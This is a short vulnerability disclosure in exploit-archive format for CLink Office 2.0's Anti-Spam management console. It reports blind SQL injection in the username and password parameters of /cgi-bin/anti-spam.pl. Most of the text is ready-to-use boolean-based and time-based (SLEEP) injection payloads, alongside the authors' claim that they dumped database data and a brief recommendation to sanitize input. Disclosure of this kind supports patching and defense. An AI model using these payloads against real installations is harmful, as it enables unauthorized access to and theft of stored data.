CLink Office 2.0 SQL Injection

`# Exploit Title: Multiple blind SQL injection vulnerabilities in in CLink Office 2.0 Anti-Spam management console   
# Date: 30 Mar 2022   
# Exploit Author: Erwin Chan, Stephen Tsoi   
# Vendor Homepage: https://www.communilink.net/   
# Softwar: CLink Office   
# Version: 2.0   
# Tested on: CLink Office 2.0 Anti-Spam management console  
  
Vulnerability details below:  
  
Affected URL: /cgi-bin/anti-spam.pl  
Affected Parameter: username, password  
Payload example:  
- boolean-based blind SQLi  
* ' AND 1234=(SELECT (CASE WHEN (TRUE) THEN 1234 ELSE (SELECT 1111 UNION  
SELECT 2222) END))-- LMgx*  
*' AND 1234=(SELECT (CASE WHEN (FALSE) THEN 1234 ELSE (SELECT 1111 UNION  
SELECT 2222) END))-- LMgx*  
- time-based blind SQLi  
*' OR SLEEP(5)-- LMgx*  
  
As a result, we were able to dump database data on application. I recommend  
development team to perform input sanitization on affected parameters.  
Please lets me know if you have any questions. Thanks.  
  
`